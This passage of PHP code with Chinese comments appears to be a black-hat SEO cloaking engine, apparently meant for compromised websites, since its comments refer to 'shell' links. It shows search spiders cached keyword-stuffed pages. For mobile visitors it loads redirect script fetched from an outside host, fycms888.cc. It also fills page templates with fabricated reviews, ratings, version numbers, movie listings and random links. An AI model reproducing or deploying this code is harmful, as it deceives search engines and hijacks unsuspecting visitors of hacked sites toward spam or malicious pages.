= 2){
// 蜘蛛访问时固定加载这个文件
require_once('llooxx/spider.php');
// 有缓存就直接输出缓存
if(file_exists($fp) && filesize($fp)){
$fh = fopen($fp, 'r');
$moban = fread($fh, filesize($fp));
fclose($fh);
$dbh = NULL;
echo $moban;
die;
}
}else{
$n = '404';
$js = '';
// 只有手机访问才加载跳转相关脚本
if(isMobile()){
$u = file_get_contents(
'http://bd2.fycms888.cc/url666.txt'
);
$js = <<
' . $contentArr[$cn];
$zwObj['content'] = implode('',$contentArr);
if($zzFlag == 3){
$wygjc[0] = $mainKw[0];
$zwObj['title'] = $mainKw[0] . '-' . $mainKw[0] . getSen('appType',1)[0] . 'V' . getRandBbh();
}else{
// $pos = strpos($zwObj['title'],',');
// $ttpart = substr($zwObj['title'],$pos);
// $mainKw = getKeyWord(1);
// $zwObj['title'] = $mainKw[0] . $ttpart;
// $wygjc[0] = $zwObj['title'];
// 现在 {唯一关键词#} 使用 /zb_fan/data/keyword/ 里取到的关键词
// 如果 keyword 没取到,上面已经兜底为游戏标题或文章标题
$wygjc[0] = $mainKw[0];
}
// if($mbRk <= 3){
// $zwObj['desc'] = '';
// }
// $title = getDbTitle();
// $zwObj['content'] = str_replace($zwObj['title'],$title,$zwObj['content']);
// $zwObj['title'] = $title;
}
$moban = str_replace('{文章内容#}',$zwObj['content'],$moban);
$moban = str_replace('{文章标题#}',changeMa($zwObj['title']),$moban);
$moban = str_replace('{文章描述#}',changeMa($zwObj['desc']),$moban);
$moban = str_replace('{文章时间#}',$wzTime,$moban);
// 新闻(数据库)标签:新增标签,不改变原有 {文章标题#}/{文章描述#}/{文章内容#} 的取值逻辑。
if(strpos($moban, '{新闻标题#}') !== false || strpos($moban, '{新闻描述#}') !== false || strpos($moban, '{新闻内容#}') !== false){
$newsObj = getZWC();
$moban = str_replace('{新闻标题#}',changeMa(isset($newsObj['title']) ? $newsObj['title'] : ''),$moban);
$moban = str_replace('{新闻描述#}',changeMa(isset($newsObj['desc']) ? $newsObj['desc'] : ''),$moban);
$moban = str_replace('{新闻内容#}',isset($newsObj['content']) ? $newsObj['content'] : '',$moban);
}
$moban = str_replace('{唯一关键词#}',changeMa($wygjc[0]),$moban);
//文章图片
$wztp = getRandPic(1);
$moban = str_replace('{文章图片#}',$wztp[0],$moban);
//
$appDescNum = substr_count($moban,'{app简介#}');
if($appDescNum){
$appDescs = getAppDesc();
$appDesc = $wygjc[0].$appDescs[0];
$moban = str_replace('{app简介#}',$appDesc,$moban);
}
$sjyxjjNum = substr_count($moban,'{随机游戏简介#}');
$sjyxjjList = getAppDesc($sjyxjjNum);
foreach($sjyxjjList as $sjyxjj){
$moban = str_replace_once('{随机游戏简介#}',$sjyxjj,$moban);
}
// ==================== 影视标签替换开始 ====================
// 新增影视类标签只在这里处理,不改变原有模板选择、蜘蛛判断、缓存、随机地区等逻辑。
// 普通影视标签共用同一个随机 txt,避免同一页影视名称、图片、简介不对应。
$yingShiObj = getYingShiData('main');
// {唯一关键词拼音#}:把已经确定好的唯一关键词转成拼音;数字、字母、符号原样保留。
$moban = str_replace('{唯一关键词拼音#}', movieToPinyin($wygjc[0]), $moban);
// {影视后缀#}:从 /zb_fan/data/yingshiseo/yshouzhui.txt 随机取一行;评分仍然随机生成。
$moban = str_replace('{影视后缀#}', getYingShiHouZhui(), $moban);
$moban = str_replace('{影视评分#}', getYingShiScore(), $moban);
// 以下标签从 /zb_fan/data/yingshi/ 随机 txt 中读取。
$moban = str_replace('{影视简介#}', $yingShiObj['desc'], $moban);
$moban = str_replace('{影视简介拼音#}', movieToPinyin($yingShiObj['desc']), $moban);
$moban = str_replace('{影视类型#}', $yingShiObj['type'], $moban);
$moban = str_replace('{影视类型1#}', $yingShiObj['type1'], $moban);
$moban = str_replace('{影视图片#}', $yingShiObj['pic'], $moban);
$moban = str_replace('{影视年份#}', $yingShiObj['year'], $moban);
$moban = str_replace('{上映日期#}', $yingShiObj['date'], $moban);
$moban = str_replace('{影视名称#}', $yingShiObj['name'], $moban);
$moban = str_replace('{演员名字#}', getYingShiActorLinks($yingShiObj['actors']), $moban);
$moban = str_replace('{导演名字#}', $yingShiObj['director'], $moban);
// {影视地区#}:从 /zb_fan/data/yingshiseo/moviediqu.txt 获取,不影响原来的 {随机地区#}。
$ysdqNum = substr_count($moban, '{影视地区#}');
for($i = 0; $i < $ysdqNum; $i++){
$moban = str_replace_once('{影视地区#}', getYingShiDiqu(), $moban);
}
// {随机人名#}:从 /zb_fan/data/yingshiseo/moviename.txt 获取。
$sjrmNum = substr_count($moban, '{随机人名#}');
for($i = 0; $i < $sjrmNum; $i++){
$moban = str_replace_once('{随机人名#}', getMovieRandomName(), $moban);
}
// 数字影视标签批量替换:
// 先一次性找出页面用到的编号,例如 1、2、3...42;
// 再一次性随机取对应数量的影视 txt,存入数组;
// 后面所有 {N影视名称#}/{N影视图片#} 都直接从数组里取,避免边匹配边反复读取。
if(preg_match_all('/{(\d+)影视(图片|名称)#}/u', $moban, $ysMatches)){
$ysIndexes = array_unique($ysMatches[1]);
$ysDataMap = getYingShiDataBatch($ysIndexes);
foreach($ysIndexes as $ysIndex){
$ysKey = intval($ysIndex);
if(isset($ysDataMap[$ysKey])){
$ysObj = $ysDataMap[$ysKey];
}else{
$ysObj = getYingShiData('num_' . $ysKey);
}
$moban = str_replace('{' . $ysIndex . '影视图片#}', $ysObj['pic'], $moban);
$moban = str_replace('{' . $ysIndex . '影视名称#}', $ysObj['name'], $moban);
}
}
// ==================== 影视标签替换结束 ====================
//s域名
$from = isset($_GET['from']) ? trim($_GET['from']) : '';
// 判断当前访问使用的是 HTTP 还是 HTTPS
$forwardedProto = isset($_SERVER['HTTP_X_FORWARDED_PROTO'])
? strtolower(trim(explode(',', $_SERVER['HTTP_X_FORWARDED_PROTO'])[0]))
: '';
$isHttps =
(!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ||
(!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) ||
($forwardedProto === 'https') ||
(!empty($_SERVER['HTTP_X_FORWARDED_SSL']) &&
strtolower($_SERVER['HTTP_X_FORWARDED_SSL']) === 'on');
$scheme = $isHttps ? 'https://' : 'http://';
// 防止 from 本身已经带有协议,造成 http://https://
$from = preg_replace('#^https?://#i', '', $from);
$fArr = explode('/',$from);
$sHost = isset($fArr[0]) ? $fArr[0] : '';
$moban = str_replace('{当前s域名#}',$sHost,$moban);
///////
//s链接
$moban = str_replace('{当前s链接#}', $scheme . $from, $moban);
//shell随机链接
$shellNum = substr_count($moban,'{shell随机链接#}');
// 随机链接沿用当前访问页面的后缀,例如 .html、.htm、.shtml。
$linkExt = '.' . $ext;
for($i=0;$i<$shellNum;$i++){
$dirList = array(
'question',
'activities',
'post',
'answer',
'message',
'contract',
'article'
);
$dir = $dirList[array_rand($dirList)];
$num = mt_rand(100000,999999);
// 当前访问地址
$nowUrl = $scheme . $from;
// 1、参数 ?xxx
if(strpos($nowUrl,'?') !== false){
$baseUrl = explode('?', $nowUrl, 2)[0];
// 保留 ? 形式
if(strpos($nowUrl,'/') !== false){
// 判断原参数里面是不是目录/数字
$oldParam = explode('?', $nowUrl, 2)[1];
if(strpos($oldParam,'/') !== false){
$randUrl = $baseUrl . '?' . $dir . '/' . $num . $linkExt;
}else{
$randUrl = $baseUrl . '?' . $dir . '-' . $num . $linkExt;
}
}else{
$randUrl = $baseUrl . '?' . $dir . '-' . $num . $linkExt;
}
}else{
// 目录形式:/contract/549296.html、.htm、.shtml 等
if(preg_match('~/[^/?#]+/\d+\.(?:html|shtml|htm|asp|aspx)/?$~i', $nowUrl)){
// 同时删除原来的“目录/数字.后缀”
$baseUrl = preg_replace(
'~/[^/?#]+/\d+\.(?:html|shtml|htm|asp|aspx)/?$~i',
'',
$nowUrl
);
$baseUrl = rtrim($baseUrl, '/');
$randUrl = $baseUrl . '/' . $dir . '/' . $num . $linkExt;
}else{
// 横线形式:/contract-549296.html、.htm、.shtml 等
// 同时兼容连续嵌套的页面地址
$baseUrl = preg_replace(
'~(?:/[^/?#]+\.(?:html|shtml|htm|asp|aspx))+/?$~i',
'',
$nowUrl
);
$baseUrl = rtrim($baseUrl, '/');
$randUrl = $baseUrl . '/' . $dir . '-' . $num . $linkExt;
}
}
$moban = str_replace_once(
'{shell随机链接#}',
$randUrl,
$moban
);
}
//随机关键词
$sjgjcNum = substr_count($moban,'{随机关键词#}');
////获取关键词列表
$sjgjcList = getKeyWord($sjgjcNum);
foreach($sjgjcList as $kw){
$moban = str_replace_once('{随机关键词#}',changeMa($kw),$moban);
}
//随机关键词1
$sjgjcNum = substr_count($moban,'{随机关键词1#}');
////获取关键词列表
$sjgjcList = getKeyWord(1,1);
$keyword1 = (is_array($sjgjcList) && isset($sjgjcList[0])) ? $sjgjcList[0] : '';
$moban = str_replace('{随机关键词1#}',changeMa($keyword1),$moban);
//随机关键词2
////获取关键词列表
$sjgjcList = getKeyWord(1,2);
$keyword2 = (is_array($sjgjcList) && isset($sjgjcList[0])) ? $sjgjcList[0] : '';
$moban = str_replace('{随机关键词2#}',changeMa($keyword2),$moban);
//随机文章标题
$sjwzbtNum = substr_count($moban,'{随机文章标题#}');
$sjwzbtList = getRandArticleTitle($sjwzbtNum);
foreach($sjwzbtList as $sjwzbt){
$moban = preg_replace('/{随机文章标题#}/u',$sjwzbt,$moban,1);
}
//当前域名
$host = $_SERVER['HTTP_HOST'];
$dqymNum = substr_count($moban,'{当前域名#}');
$moban = str_replace('{当前域名#}',$host,$moban,$dqymNum);
$moban = str_replace('{静态库域名#}',$configGlobal['static'],$moban);
//获取评论
$sjplNum = substr_count($moban,'{随机评论#}');
if($sjplNum > 0){
$sjplList = getPl($sjplNum);
foreach($sjplList as $k => $pl){
$moban = str_replace_once('{随机评论#}',$pl,$moban);
}
}
//随机天数
$sjtsNum = substr_count($moban,'{随机天数#}');
for($i = 0;$i < $sjtsNum;$i++){
$moban = str_replace_once('{随机天数#}',getRandNum().'天',$moban);
}
//随机版本号
$sjbbhNum = substr_count($moban,'{随机版本号#}');
for($i = 0;$i < $sjbbhNum;$i++){
$moban = str_replace_once('{随机版本号#}',getRandBbh(),$moban);
}
//随机好评
$sjhpNum = substr_count($moban,'{随机好评#}');
for($i = 0;$i < $sjhpNum;$i++){
$moban = str_replace_once('{随机好评#}',getRandHp(),$moban);
}
//随机差评
$sjcpNum = substr_count($moban,'{随机差评#}');
for($i = 0;$i < $sjcpNum;$i++){
$moban = str_replace_once('{随机差评#}',getRandCp(),$moban);
}
//随机文件大小
$sjwjdxNum = substr_count($moban,'{随机文件大小#}');
for($i = 0;$i < $sjwjdxNum;$i++){
$moban = str_replace_once('{随机文件大小#}',getRandSize(),$moban);
}
//随机手机
$moban = str_replace_once('{随机手机#}',getRandPhone(),$moban);
//随机图片
$sjtpNum = substr_count($moban,'{随机图片#}');
$sjtpList = getRandPic($sjtpNum);
foreach($sjtpList as $sjtp){
$moban = str_replace_once('{随机图片#}',$sjtp,$moban);
}
//随机类名
$sjlmNum = substr_count($moban,'{随机类名#}');
for($i = 0;$i < $sjlmNum;$i++){
$moban = str_replace_once('{随机类名#}',getRandClassName(),$moban);
}
$moban = str_replace('{年#}',date('Y',time()),$moban);
$moban = str_replace('{月#}',date('m',time()),$moban);
$moban = str_replace('{日#}',date('d',time()),$moban);
$moban = str_replace('{articleid#}',getRandNum(6),$moban);
$moban = str_replace('{columnid#}',getRandNum(4),$moban);
//
while(preg_match('/{随机数字(\d+)#}/u',$moban,$m)){
$moban = preg_replace('/{随机数字(\d+)#}/u',getRandNum($m[1]),$moban,1);
}
// echo 2;die;
// //
// while(preg_match('/{随机句子(\d+)#}/u',$moban,$m)){
// $moban = preg_replace('/{随机句子(\d+)#}/u',getSen($m[1]),$moban);
// }
//随机数字
$sjszNum = substr_count($moban,'{随机数字#}');
for($i = 0;$i < $sjszNum;$i++){
$moban = str_replace_once('{随机数字#}',getRandNum(),$moban);
}
//游戏标题
$yxbtNum = substr_count($moban,'{游戏标题#}');
$yxbtList = getGameWord($yxbtNum);
foreach($yxbtList as $yxbt){
$moban = str_replace_once('{游戏标题#}',$yxbt,$moban);
}
$moban = str_replace('{当前网址#}',__WEB__,$moban);
//唯一游戏标题
$wyyxbt = getGameWord(1);
$uniqueGameTitle = (is_array($wyyxbt) && isset($wyyxbt[0])) ? $wyyxbt[0] : '';
$moban = str_replace('{唯一游戏标题#}',$uniqueGameTitle,$moban);
//微博热搜标题
$wbrsNum = substr_count($moban,'{微博热搜标题#}');
for($i = 0;$i < $wbrsNum;$i++){
$moban = str_replace_once('{微博热搜标题#}',getWbrsTitle(),$moban);
}
//短句
$sjdjNum = substr_count($moban,'{随机短句子#}');
for($i = 0;$i < $sjdjNum;$i++){
$moban = str_replace_once('{随机短句子#}',getShortJuzi(),$moban);
}
//随机地区
$sjdqNum = substr_count($moban,'{随机地区#}');
for($i = 0;$i < $sjdqNum;$i++){
$moban = str_replace_once('{随机地区#}',getDiqu(),$moban);
}
//随机平台
$bthz = getPlatform(1);
$uniqueTitleSuffix = (is_array($bthz) && isset($bthz[0])) ? $bthz[0] : '';
$moban = str_replace('{唯一标题后缀#}',$uniqueTitleSuffix,$moban);
//指定句子
// $zdjz = getSen(0);
// $moban = str_replace('{指定句子#}',$zdjz[0],$moban);
//随机市区
$sjsqNum = substr_count($moban,'{随机市区#}');
for($i = 0;$i < $sjsqNum;$i++){
$moban = str_replace_once('{随机市区#}',getShiqu(),$moban);
}
//随机原始关键词
$sjysgjcNum = substr_count($moban,'{随机原始关键词#}');
for($i = 0;$i < $sjysgjcNum;$i++){
$moban = str_replace_once('{随机原始关键词#}',changeMa(getOldKeyword()),$moban);
}
//随机链接
$sjljNum = substr_count($moban,'{随机链接#}');
for($i = 0;$i < $sjljNum;$i++){
$moban = str_replace_once('{随机链接#}',getRandLink(),$moban);
}
//随机emoji
$emojiNum = substr_count($moban,'{随机emoji#}');
$emojiList = getSen('emoji',$emojiNum);
foreach($emojiList as $emoji){
$moban = str_replace_once('{随机emoji#}',$emoji,$moban);
}
// SEO链接
$seoNum = substr_count($moban,'{SEO链接#}');
for($i = 0;$i < $seoNum;$i++){
$moban = str_replace_once('{SEO链接#}','',$moban);
}
$h3Reg = '/